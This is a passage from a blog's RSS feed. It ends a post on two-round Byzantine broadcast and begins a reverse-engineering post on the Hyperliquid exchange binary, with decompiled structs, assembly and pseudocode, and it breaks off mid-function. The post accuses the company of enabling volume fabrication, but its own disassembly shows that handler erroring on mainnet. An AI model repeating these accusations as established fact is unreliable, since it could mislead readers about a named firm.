&lt;th&gt;MVA&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Best case&lt;/td&gt;
&lt;td&gt;3 rounds&lt;/td&gt;
&lt;td&gt;2 rounds&lt;/td&gt;
&lt;td&gt;2 rounds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worst case&lt;/td&gt;
&lt;td&gt;3 rounds&lt;/td&gt;
&lt;td&gt;3 rounds&lt;/td&gt;
&lt;td&gt;4 rounds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Messages&lt;/td&gt;
&lt;td&gt;\(O(n^2)\)&lt;/td&gt;
&lt;td&gt;\(O(n^2)\)&lt;/td&gt;
&lt;td&gt;\(O(n^2)\)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fault tolerance&lt;/td&gt;
&lt;td&gt;\(n &amp;gt; 3f\)&lt;/td&gt;
&lt;td&gt;\(n &amp;gt; 3f\)&lt;/td&gt;
&lt;td&gt;\(n &amp;gt; 3f\)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Input model&lt;/td&gt;
&lt;td&gt;Single leader&lt;/td&gt;
&lt;td&gt;Single leader&lt;/td&gt;
&lt;td&gt;All propose&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Bigger quorums give stronger intersection properties, which lets us skip rounds when conditions are good. The cost is a slightly higher threshold, but when the network is healthy and honest parties dominate, hitting \(Q_o\) vs \(Q\) is a matter of one or two more messages, not an extra round.&lt;/p&gt;
&lt;h2 id="0x6-wrapping-up"&gt;&lt;span class="hx"&gt;0x6:&lt;/span&gt; Wrapping Up&lt;/h2&gt;
&lt;p&gt;So there you have it: Byzantine reliable broadcast in 2 rounds instead of 3, using the counterintuitive approach of a &lt;em&gt;larger&lt;/em&gt; quorum for the fast path. The bigger quorum gives us stronger intersection properties, enough honest parties in the overlap to eliminate the voting round when conditions are good.&lt;/p&gt;
&lt;p&gt;A nice reminder that even &amp;ldquo;solved&amp;rdquo; problems from 1987 can hide optimizations. Now to find what other decades-old algorithms are hiding in plain sight…&lt;/p&gt;</description></item><item><title>Reverse Engineering Hyperliquid ft. SetYesterdayUserVlm</title><link>https://blog.can.ac/2025/12/20/reverse-engineering-hyperliquid/</link><pubDate>Sat, 20 Dec 2025 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2025/12/20/reverse-engineering-hyperliquid/</guid><description>
&lt;p&gt;&lt;em&gt;What happens when you take IDA Pro to a $30B &amp;ldquo;decentralized&amp;rdquo; exchange?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Hyperliquid markets itself as a &amp;ldquo;fully on-chain order book perpetual exchange.&amp;rdquo; $1 trillion in trading volume. $30 billion valuation. Crypto Twitter calls it the future of DeFi.&lt;/p&gt;
&lt;p&gt;I decided to see what the hype was and googled &amp;ldquo;hyperliquid github&amp;rdquo;.
To my surprise, there was no source code. The repository tells you to download this &lt;code&gt;hl-visor&lt;/code&gt; blob, run it, and let it download more blobs to execute for you.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Say what now?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How did we go from &amp;ldquo;code is law&amp;rdquo; and people measuring each other&amp;rsquo;s Nakamoto coefficients to whatever the hell this is? The idea of a closed-source blockchain was &lt;em&gt;very&lt;/em&gt; intriguing (because why would you do that if you are not hiding anything?) so as you can imagine I decided to take a look.&lt;/p&gt;
&lt;p&gt;Hyperliquid is a centralized exchange (if not worse than that due to the lack of financial audits &amp;amp; regulation) masquerading as a blockchain:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A &amp;ldquo;CoreWriter&amp;rdquo; godmode&lt;/strong&gt; that can mint tokens, move user funds without signatures, crash random validators and basically do whatever it wants&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transaction types that do exactly what they say&lt;/strong&gt;: &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt;, retroactive volume manipulation shipped in the mainnet binary&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A &amp;ldquo;scheduled freeze&amp;rdquo; mechanism with no unfreeze capability&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Only 8 broadcaster addresses can submit transactions&lt;/strong&gt;: everyone else routes through them. They live in on-chain state, are governance-modifiable, and are undocumented.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Oracle price override capabilities&lt;/strong&gt; with no timelocks, bounds, or multi-sig requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bridge withdrawals can be censored forever&lt;/strong&gt;: no timeout, no escape hatch&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Governance proposals are stored but effectively unqueryable&lt;/strong&gt;: users see votes happened, not what was proposed&lt;/li&gt;
&lt;li&gt;&lt;del&gt;&lt;strong&gt;$362M accounting gap&lt;/strong&gt;: user claims exceed bridge balance&lt;/del&gt; &lt;em&gt;(explained: Circle&amp;rsquo;s native USDC on HyperEVM)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Undocumented lending protocol&lt;/strong&gt;: a fully deployed borrow/lend system (BOLE) live on mainnet&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Every claim includes addresses into the binary and L1 state that you can verify yourself.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Shall we?&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x1-the-testnet-function"&gt;&lt;span class="hx"&gt;0x1:&lt;/span&gt; The &amp;ldquo;Testnet&amp;rdquo; Function&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The genesis airdrop allocated 31% of supply (~310M tokens) to ~94k users based on testnet activity. The binary contains &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt;: retroactive volume manipulation. This function&amp;rsquo;s existance at any point in time destroys integrity / community-ownership claims.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The most damning evidence sits in the binary&amp;rsquo;s string table, indexed like a feature list. Hyperliquid&amp;rsquo;s developers built infrastructure to fabricate trading volume retroactively, named it after the capability, and still ship it in the current mainnet binary.&lt;/p&gt;
&lt;h3 id="testnetsetyesterdayuservlm"&gt;TestnetSetYesterdayUserVlm&lt;/h3&gt;
&lt;p&gt;The deserializer &lt;code&gt;0x1F40200&lt;/code&gt; contains a little branch that handles the following Rust structure:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;enum&lt;/span&gt; &lt;span class="nc"&gt;VoteGlobalAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x57:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TestnetSetYesterdayUserVlm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;: &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Target wallet
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wei&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Perpetual volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cross&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Cross margin volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spot_add&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Spot addition volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spot_cross&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Spot cross volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Read that struct again: &lt;code&gt;TestnetSetYesterdayUserVlm&lt;/code&gt;. Not &amp;ldquo;testing infrastructure&amp;rdquo; or &amp;ldquo;debugging tools.&amp;rdquo; The literal function is to &lt;strong&gt;set yesterday&amp;rsquo;s user volume&lt;/strong&gt;.&lt;/p&gt;
&lt;h4 id="volume-storage-structure"&gt;Volume Storage Structure&lt;/h4&gt;
&lt;p&gt;Volume data is stored in BTreeMap structures optimized for daily aggregation:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// DailyScaledVlms structure (referenced at 0x2aa3f60, 0x2eefa90)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;DailyScaledVlms&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;day_to_user_vlm&lt;/span&gt;: &lt;span class="nc"&gt;BTreeMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BTreeMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UserVolume&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Indexed by (day, user address) for efficient range queries
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;UserVolume&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wei_scaled&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Perpetual volume in wei units
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cross_scaled&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Cross margin volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spot_add_scaled&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Spot addition volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spot_cross_scaled&lt;/span&gt;: &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Spot cross volume
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These structures persist to RocksDB under column families in &lt;code&gt;hyperliquid_data/&lt;/code&gt;. Volume queries aggregate across day ranges to compute cumulative metrics for fee tiers and any volume-gated programs.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the exact code, which first checks the network type:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; Handler for case 0x57 (TestnetSetYesterdayUserVlm)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3638d:&lt;/span&gt; &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="no"&gt;byte&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3505&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="c1"&gt;; r13 = state pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;; offset 0x3505 = network_type field
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;; value 3 = mainnet discriminant
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f36395:&lt;/span&gt; &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="no"&gt;loc_1F39041&lt;/span&gt; &lt;span class="c1"&gt;; Jump to error if mainnet
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After passing the check, the handler executes two state mutations:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;; From continuation at 0x1f3bb28 after mainnet check passes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3bb28:&lt;/span&gt; &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;off_48499B0&lt;/span&gt; &lt;span class="c1"&gt;; update_daily_scaled_vlm_for_user
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;; Resolved to 0x2aa3f60
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;; Args: (state, day, user, wei_scaled, cross_scaled)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3bb2e:&lt;/span&gt; &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;918&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_3A8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3bb36:&lt;/span&gt; &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;r12&lt;/span&gt; &lt;span class="c1"&gt;; state pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3bb39:&lt;/span&gt; &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ebx&lt;/span&gt; &lt;span class="c1"&gt;; day value
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3bb3b:&lt;/span&gt; &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;r14&lt;/span&gt; &lt;span class="c1"&gt;; user address
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3bb3e:&lt;/span&gt; &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;r13&lt;/span&gt; &lt;span class="c1"&gt;; spot volumes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1f3bb41:&lt;/span&gt; &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;off_48499B8&lt;/span&gt; &lt;span class="c1"&gt;; update_user_volume_state
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;; Resolved to 0x2eefa90
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;; Args: (state, day, user, spot_add_scaled, spot_cross_scaled)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These functions perform &lt;strong&gt;direct BTreeMap state writes&lt;/strong&gt; without intermediate validation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;0x2aa3f60&lt;/strong&gt;: Inserts/updates &lt;code&gt;(day, user) -&amp;gt; (wei_scaled, cross_scaled)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int8&lt;/span&gt; &lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;update_daily_scaled_vlm_for_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a1 = state pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a2 = day (u32)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a3 = user address (20 bytes)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a4, a5 = wei_scaled and cross_scaled volumes (u64 each)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;sub_2C32C70&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// BTreeMap lookup at state+272
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Binary search through BTreeMap by day
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v14&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
